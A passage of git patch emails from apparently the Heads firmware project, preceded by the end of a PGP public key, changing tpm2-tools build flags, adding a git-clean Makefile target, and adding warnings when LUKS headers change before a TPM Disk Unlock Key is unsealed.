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 +=8z3k -----END PGP PUBLIC KEY BLOCK----- From be714301677a366ec4c812ac801cd852cf1e65ef Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 9 Apr 2024 12:36:03 -0400 Subject: [PATCH 038/619] modules/tpm2-tools: Add TODO to uniformize live patching through sed calls as opposed to patch version specific autotools/configure scripts to force reproducible builds Signed-off-by: Thierry Laurion --- modules/tpm2-tools | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/tpm2-tools b/modules/tpm2-tools index df06afaf3..bba25bc5d 100644 --- a/modules/tpm2-tools +++ b/modules/tpm2-tools @@ -9,8 +9,6 @@ ifeq "$(CONFIG_TPM2_TOOLS)" "y" endif tpm2-tools_version := 5.6 -#tpm2-tools_version := 78a7681 -#tpm2-tools_repo := https://github.com/tpm2-software/tpm2-tools.git tpm2-tools_dir := tpm2-tools-$(tpm2-tools_version) tpm2-tools_tar := tpm2-tools-$(tpm2-tools_version).tar.gz @@ -22,10 +20,12 @@ tpm2-tools_hash := 52c8bcbaadca082abfe5eb7ee4967d2d632d84b1677675f2f071b6d2ec22c #tpm2-tools doesn't play nice with reproducible builds, hardcoding lib paths without providing a configure option to remove rpaths # We make sure no hardcoding of libdir flags exist in configure script prior of calling the script with sed call # We pass additional remapping of prefix-map from $INSTALL to local dir +# +# TODO: remove all patches and uniformize with similar sed calls. tpm2-tools_configure := \ echo "$(tpm2-tools_version)" > ./VERSION \ && ./bootstrap \ - && sed -i 's/hardcode_libdir_flag_spec=.*/hardcode_libdir_flag_spec=/' configure \ + && sed -i 's/hardcode_libdir_flag_spec=.*/hardcode_libdir_flag_spec=" "/' configure \ && ./configure \ $(CROSS_TOOLS) \ --host $(MUSL_ARCH)-elf-linux \ From 8fcf1ddba8d1dd56332a5b156591574e69b6d3ab Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 2 Apr 2024 17:06:12 -0400 Subject: [PATCH 039/619] Makefile: add real.gitclean target which calls 'git clean -fxd' Ease cleaning up everything. IMOH better then real.clean target Signed-off-by: Thierry Laurion --- Makefile | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Makefile b/Makefile index a64d4b09f..4f113d9c9 100644 --- a/Makefile +++ b/Makefile @@ -793,3 +793,5 @@ real.clean: fi; \ done cd install && rm -rf -- * +real.gitclean: + git clean -fxd From adda59c6752719bb4cbbbfcd5268bff00df5bbdf Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 26 Mar 2024 14:20:48 -0400 Subject: [PATCH 040/619] LUKS header change validation at both sealing and unsealing of TPM Disk Unlock Key. Fixes linuxboot#1092. Supersedes linuxboot#1093 - Cherry-picks ed1c23a (credit to @hardened-vault) thank you!) - Addresses and correct self-review under linuxboot#1093 (@hardened-vault: you don't answer often here!) - kexec-unseal-key: Warn a user who attempts to default boot while his Disk Unlock Key passphrase fails to unseal because LUKS headers changed. (linuxboot#1093 (comment)) - kexec-seal-key: Identical as in ed1c23a - kexec-add-key: Tell the user that the Headers did not change when changing TPM released Disk Unlock Key (Through changing default boot at Options->Boot Options -> Show OS boot options: select a new boot option and set a Disk Unlock Key in TPM, accept to modify disk and sign /boot options) - Here, we cancel the diff output shown on screen linuxboot#1093 (comment) - And we change the warning given to the user to past tense "Headers of LUKS containers to be unlocked via TPM Disk Unlock Key passphrase did not change." Signed-off-by: Thierry Laurion --- initrd/bin/kexec-insert-key | 3 +++ initrd/bin/kexec-unseal-key | 8 ++++++++ 2 files changed, 11 insertions(+) diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index f06c54833..674aab4e6 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -57,6 +57,9 @@ tpmr extend -ix 4 -ic generic || # Check to continue if [ "$unseal_failed" = "y" ]; then confirm_boot="n" + if diff "$(dirname $INITRD)/kexec_lukshdr_hash.txt" /tmp/luksDump.txt > /dev/null 2>&1; then + echo "Headers of LUKS containers to be unlocked via TPM Disk Unlock Key passphrase did not change." + fi read \ -n 1 \ -p "Do you wish to boot and use the LUKS Disk Recovery Key? [Y/n] " \ diff --git a/initrd/bin/kexec-unseal-key b/initrd/bin/kexec-unseal-key index 3f18c4358..6f5cbd9f2 100755 --- a/initrd/bin/kexec-unseal-key +++ b/initrd/bin/kexec-unseal-key @@ -40,6 +40,14 @@ for tries in 1 2 3; do DEBUG $(pcrs) warn "Unable to unseal disk encryption key" + if [ -e /boot/kexec_lukshdr_hash.txt -a -e /tmp/luksDump.txt ]; then + if ! diff /boot/kexec_lukshdr_hash.txt /tmp/luksDump.txt > /dev/null 2>&1; then + warn "Encrypted LUKS(es) container(s) headers changed since they were measured and sealed in TPM for Disk Unlock key. You might want to investigate." + fi + else + warn "No encrypted LUKS container(s) headers were found/comparable under /boot/kexec_lukshdr_hash.txt" + warn "You might need to setup a new boot default and Disk Unlock Key from Options->Boot Options->Show OS boot menu." + fi done die "Retry count exceeded..." From f6232aa70f7d16fd637e8974228451b61b2cd45e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 27 Mar 2024 10:04:10 -0400 Subject: [PATCH 041/619] Change disk encryption -> LUKS Disk Key and other relative/relative verbiage, remove irrelevant DEBUG trace under kexec-unseal-key TODO: - $(pcrs) call sometimes fail in DEBUG call, outputting too many chars to be inserted in kmesg. Call removed here since redundant (PCR6 already extended with LUKS header) - Notes added for TPM2 simplification over TPM1 in code as TODO Signed-off-by: Thierry Laurion --- FAQ.md | 4 ++-- initrd/bin/kexec-insert-key | 14 +++++++------- initrd/bin/kexec-save-default | 2 +- initrd/bin/kexec-select-boot | 4 +++- initrd/bin/kexec-unseal-key | 13 ++++++------- initrd/bin/oem-factory-reset | 2 +- initrd/init | 2 +- 7 files changed, 21 insertions(+), 20 deletions(-) diff --git a/FAQ.md b/FAQ.md index e3909b1d6..1e2c1c609 100644 --- a/FAQ.md +++ b/FAQ.md @@ -112,8 +112,8 @@ your disk password, which is perhaps an improvement. Disk key in TPM (LUKS TPM Disk Unlock Key) or user passphrase? --- -Depends on your threat model. With the disk key in the TPM an attacker -would need to have the entire machine (or a backdoor in the TPM) +Depends on your threat model. With the Disk Unlock Key in the TPM an +attacker would need to have the entire machine (or a backdoor in the TPM) to get the key and their attempts to unlock it can be rate limited by the TPM hardware. diff --git a/initrd/bin/kexec-insert-key b/initrd/bin/kexec-insert-key index 674aab4e6..9a48c2584 100755 --- a/initrd/bin/kexec-insert-key +++ b/initrd/bin/kexec-insert-key @@ -1,5 +1,5 @@ #!/bin/bash -# Unseal a disk key from TPM and add to a new initramfs +# Unseal a LUKS Disk Unlock Key from TPM and add to a new initramfs set -e -o pipefail . /etc/functions @@ -28,7 +28,7 @@ if [ -r "$TMP_KEY_LVM" ]; then die "$VOLUME_GROUP: unable to activate volume group" fi -# Measure the LUKS headers before we unseal the disk key +# Measure the LUKS headers before we unseal the LUKS Disk Unlock Key from TPM cat "$TMP_KEY_DEVICES" | cut -d\ -f1 | xargs /bin/qubes-measure-luks || die "LUKS measure failed" @@ -40,13 +40,13 @@ SECRET_CPIO=/tmp/secret/initrd.cpio bootdir=$(dirname "$INITRD") mkdir -p "$INITRD_DIR/etc" -# Attempt to unseal the disk key from the TPM +# Attempt to unseal the Disk Unlok Key from the TPM # should we give this some number of tries? unseal_failed="n" if ! kexec-unseal-key "$INITRD_DIR/secret.key"; then unseal_failed="y" echo - echo "!!! Failed to unseal the TPM LUKS disk key" + echo "!!! Failed to unseal the TPM LUKS Disk Unlock Key" fi # Override PCR 4 so that user can't read the key @@ -57,8 +57,8 @@ tpmr extend -ix 4 -ic generic || # Check to continue if [ "$unseal_failed" = "y" ]; then confirm_boot="n" - if diff "$(dirname $INITRD)/kexec_lukshdr_hash.txt" /tmp/luksDump.txt > /dev/null 2>&1; then - echo "Headers of LUKS containers to be unlocked via TPM Disk Unlock Key passphrase did not change." + if cmp -s "$bootdir/kexec_lukshdr_hash.txt" /tmp/luksDump.txt > /dev/null 2>&1; then + echo "Encrypted disk keys(s) have not been changed since sealed in TPM Disk Unlock Key" fi read \ -n 1 \ @@ -69,7 +69,7 @@ if [ "$unseal_failed" = "y" ]; then -a "$confirm_boot" != 'Y' \ -a -n "$confirm_boot" ] \ ; then - die "!!! Aborting boot due to failure to unseal TPM disk key" + die "!!! Aborting boot due to failure to unseal TPM Disk Unlock Key" fi fi diff --git a/initrd/bin/kexec-save-default b/initrd/bin/kexec-save-default index 1e5fcd810..c7a4f04fa 100755 --- a/initrd/bin/kexec-save-default +++ b/initrd/bin/kexec-save-default @@ -195,7 +195,7 @@ if [ "$CONFIG_TPM" = "y" ] && [ "$CONFIG_TPM_NO_LUKS_DISK_UNLOCK" != "y" ] && [ DEBUG "LUKS TPM Disk Unlock Key was previously set up from $KEY_DEVICES" read \ -n 1 \ - -p "Do you want to reseal a disk key to the TPM [y/N]: " \ + -p "Do you want to reseal a Disk Unlock Key in the TPM [y/N]: " \ change_key_confirm echo diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 4161af4ae..54ce4064b 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -70,6 +70,8 @@ if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then else warn "Hash of TPM2 primary key handle does not exist" warn "Please rebuild the boot hash tree" + warn "Select Options-> Update checksums and sign all files in /boot" + #TODO: Simplify/Automatize TPM2 firmware upgrade process. Today: upgrade, reboot, reseal(type TPM owner pass), resign, boot default_failed="y" DEBUG "Hash of TPM2 primary key handle does not exist under $PRIMHASH_FILE" fi @@ -340,7 +342,7 @@ do_boot() { fi kexec-insert-key $INITRD || - die "!!! Failed to insert disk key into a new initrd" + die "!!! Failed to prepare TPM Disk Unlock Key for boot" kexec-boot -b "$bootdir" -e "$option" \ -a "$add" -r "$remove" -o "/tmp/secret/initrd.cpio" || diff --git a/initrd/bin/kexec-unseal-key b/initrd/bin/kexec-unseal-key index 6f5cbd9f2..77597b4ea 100755 --- a/initrd/bin/kexec-unseal-key +++ b/initrd/bin/kexec-unseal-key @@ -38,15 +38,14 @@ for tries in 1 2 3; do exit 0 fi - DEBUG $(pcrs) - warn "Unable to unseal disk encryption key" - if [ -e /boot/kexec_lukshdr_hash.txt -a -e /tmp/luksDump.txt ]; then - if ! diff /boot/kexec_lukshdr_hash.txt /tmp/luksDump.txt > /dev/null 2>&1; then - warn "Encrypted LUKS(es) container(s) headers changed since they were measured and sealed in TPM for Disk Unlock key. You might want to investigate." + warn "Unable to unseal LUKS Disk Unlock Key from TPM" + if [ -e /boot/kexec_lukshdr_hash.txt ] && [ -e /tmp/luksDump.txt ]; then + if ! cmp -s /boot/kexec_lukshdr_hash.txt /tmp/luksDump.txt > /dev/null 2>&1; then + warn "Encrypted disk keys(s) have changed since sealed in TPM Disk Unlock Key. You might want to investigate." fi else - warn "No encrypted LUKS container(s) headers were found/comparable under /boot/kexec_lukshdr_hash.txt" - warn "You might need to setup a new boot default and Disk Unlock Key from Options->Boot Options->Show OS boot menu." + warn "Could not check for tampering of Encrypted disk keys(s)" + warn "Re-seal the TPM Disk Unlock Key by re-selecting your default boot option to enable this check (Options -> Boot Options -> Show OS boot menu)." fi done diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index ff0889f66..2380bf763 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -893,7 +893,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then echo "Each prompt requires a single letter answer: eg. (Y/n)." echo -e "If you don't know what to answer, pressing Enter will select the default answer for that prompt: eg. Y, above.\n" - # Re-ownership of encrypted disk key, content and passphrase + # Re-ownership of LUKS encrypted Disk: key, content and passphrase echo -e -n "\n\nWould you like to change the current LUKS Disk Recovery Key passphrase?\n (Highly recommended if you didn't install the Operating System yourself, so that past configured passphrase would not permit to access content.\n Note that without 